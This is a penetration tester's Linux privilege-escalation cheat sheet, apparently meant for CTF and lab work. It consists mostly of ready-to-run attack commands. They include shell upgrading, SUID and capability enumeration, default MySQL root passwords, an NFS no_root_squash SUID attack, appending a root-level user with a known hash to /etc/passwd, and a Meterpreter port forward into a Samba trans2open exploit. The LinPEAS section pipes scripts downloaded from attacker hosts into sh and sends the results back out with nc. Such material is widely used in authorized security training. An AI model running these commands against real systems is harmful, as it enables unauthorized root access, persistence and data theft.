linux-privesc.txt

# credit: the amazing sirensecurity
https://sirensecurity.io/blog/linux-privilege-escalation-resources/

g0tmilk's Guide to Linux Privilege Escalation as well:
https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/


----------------------------------------------------------------
    Low-priv shell to full TTY
----------------------------------------------------------------

# python / python3
python -c 'import pty; pty.spawn("/bin/bash")'
python3 -c 'import pty; pty.spawn("/bin/bash")'

export TERM=xterm-256color ; export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/tmp
alias ll='ls -lsaht --color=auto'

# Ctrl + Z [Background Process]
stty raw -echo ; fg ; reset ; stty columns 200 rows 200


----------------------------------------------------------------
  BASICS 
----------------------------------------------------------------

-- Various Capabilities?
which gcc
which cc
which python
which perl
which wget
which curl
which fetch
which nc
which ncat
which nc.traditional
which socat


-- Basic system enumeration 
# Get architecture, kernel, issue/release

    file /bin/bash
    uname -a
    cat /etc/issue
    cat /etc/*-release

-- Are we a real user?
    sudo -l
    ls -lsaht /etc/sudoers

-- Groups? Are any users a member of exotic groups?
    groups <user>

--- Environment
    env
https://www.hackingarticles.in/linux-privilege-escalation-using-path-variable/


--- USERS?
    cd /home/
    ls -lsaht

--- WEB CONFIGS WITH CREDENTIALS?
    cd /var/www/html/
    ls -lsaht

--- SUIDs & GUIDs

Check for binaries with SUID or GUID bit set, can be used for privilege escalation

    find / -perm -u=s -type f 2>/dev/null
    find / -perm -g=s -type f 2>/dev/null

SUID/GUID/SUDO Escalation:
https://gtfobins.github.io/


--- GETCAP 
Binary/Languages with "Effective Permitted" or "Empty Capability" (ep):
https://www.insecure.ws/linux/getcap_setcap.html#getcap-setcap-and-file-capabilities

Get Granted/Implicit (Required by a Real User) Capabilities of all files recursively throughout the system and pipe all error messages to /dev/null.

    getcap -r / 2>/dev/null

----------------------------------------------------------------
    MONITORING 
----------------------------------------------------------------

We need to start monitoring the system if possible while performing our enumeration.
In other words:

"S1REN... Is privilege escalation going to come from some I/O file operations being done by some script on the system?"
https://github.com/DominicBreuker/pspy/blob/master/README.md

-- Pspy
    cd /var/tmp/
    File Transfer --> pspy32
    File Transfer --> pspy64
    chmod 755 pspy32 pspy64
    ./pspy<32/64>

-- Network listeners:  What does the local network look like?
netstat -antup
netstat -tunlp

-- Root processes:  Is anything vulnerable running as root?
ps aux |grep -i 'root' --color=auto

----------------------------------------------------------------
  MYSQL Credentials? Root Unauthorized Access?
----------------------------------------------------------------

    mysql -uroot -p
    Enter Password:
    root : root
    root : toor
    root :

----------------------------------------------------------------
  User files in /etc?
----------------------------------------------------------------

S1REN would take a quick look at etc to see if any user-level people did special things:

-- Check for user-created files in /etc

    cd /etc/
    ls -lsaht
    ls -lsaht |grep -i '.conf' --color=auto

-- Secrets in /etc?
If we have root priv information disclosure - are there any .secret in /etc/ files?

    ls -lsaht |grep -i '.secret' --color=aut

----------------------------------------------------------------
  SSH KEYS
----------------------------------------------------------------

SSH Keys I can use perhaps for even further compromise?

    ls -lsaR /home/


----------------------------------------------------------------
    INTERESTING DIRECTORIES
----------------------------------------------------------------

Quick look in:

    ls -lsaht /var/lib/
    ls -lsaht /var/db/
    ls -lsaht /opt/
    ls -lsaht /tmp/
    ls -lsaht /var/tmp/
    ls -lsaht /dev/shm/

----------------------------------------------------------------
    File transfer capabilities
----------------------------------------------------------------

File Transfer Capability? What can I use to transfer files?

    which wget
    which curl
    which nc
    which fetch (BSD)
    ls -lsaht /bin/ |grep -i 'ftp' --color=auto


----------------------------------------------------------------
    NFS?
----------------------------------------------------------------

-- NFS? Can we exploit weak NFS Permissions?

    cat /etc/exports
    no_root_squash?
    https://recipeforroot.com/attacking-nfs-shares/

[On Attacking Machine]

    mkdir -p /mnt/nfs/
    mount -t nfs -o vers=<version 1,2,3> $IP:<NFS Share> /mnt/nfs/ -nolock
    gcc suid.c -o suid
    cp suid /mnt/nfs/
    chmod u+s /mnt/nfs/suid
    su <user id matching target machine's user-level privilege.>

[On Target Machine]

    user@host$ ./suid
    #

----------------------------------------------------------------
  Find your new home!
----------------------------------------------------------------

Where can I live on this machine? Where can I read, write and execute files?

    /var/tmp/
    /tmp/
    /dev/shm/

----------------------------------------------------------------
 FILE SYSTEM MOUNTS
----------------------------------------------------------------

Any exotic file system mounts/extended attributes?

    cat /etc/fstab

----------------------------------------------------------------
 FORWARDING WEAK SERVICE WITH ROOT PRIV
----------------------------------------------------------------

Forwarding out a weak service for root priv (with meterpreter!):

Do we need to get a meterpreter shell and forward out some ports that might be running off of the Loopback Adaptor (127.0.0.1) and forward them to any (0.0.0.0)? If I see something like Samba SMBD out of date on 127.0.0.1 - we should look to forward out the port and then run trans2open on our own machine at the forwarded port.

https://www.offensive-security.com/metasploit-unleashed/portfwd/


EXAMPLE: Forwarding out netbios-ssn:

    meterpreter> portfwd add –l 139 –p 139 –r [target remote host]
    meterpreter> background
    use exploit/linux/samba/trans2open
    set RHOSTS 0.0.0.0
    set RPORT 139
    run


----------------------------------------------------------------
 ADDING USERS
----------------------------------------------------------------
Can we write as a low-privileged user to /etc/passwd?

    openssl passwd -1
    i<3hacking
    $1$/UTMXpPC$Wrv6PM4eRHhB1/m1P.t9l.
    echo 'siren:$1$/UTMXpPC$Wrv6PM4eRHhB1/m1P.t9l.:0:0:siren:/home/siren:/bin/bash' >> /etc/passwd
    su siren
    id


----------------------------------------------------------------
 CRON
----------------------------------------------------------------

Check cron jobs
    crontab –u root –l

Look for unusual system-wide cron jobs:

    cat /etc/crontab
    ls /etc/cron.*


----------------------------------------------------------------
  USER HISTORY & MAIL
----------------------------------------------------------------

Bob is a user on this machine. What is every single file he has ever created?

    find / -user miguel 2>/dev/null

Any mail? mbox in User $HOME directory?

    cd /var/mail/
    ls -lsaht



----------------------------------------------------------------
LINPEAS
----------------------------------------------------------------
# Local network
sudo python3 -m http.server 80 #Host
curl 10.10.10.10/linpeas.sh | sh #Victim

# Without curl
sudo nc -q 5 -lvnp 80 < linpeas.sh #Host
cat < /dev/tcp/10.10.10.10/80 | sh #Victim

# Excute from memory and send output back to the host
nc -lvnp 9002 | tee linpeas.out #Host
curl 10.10.14.20:8000/linpeas.sh | sh | nc 10.10.14.20 9002 #Victim


----------------------------------------------------------------
RESOURCES
----------------------------------------------------------------

Linpease:
https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS

Traitor:
https://github.com/liamg/traitor

GTFOBins:
https://gtfobins.github.io/

PSpy32/Pspy64:
https://github.com/DominicBreuker/pspy/blob/master/README.md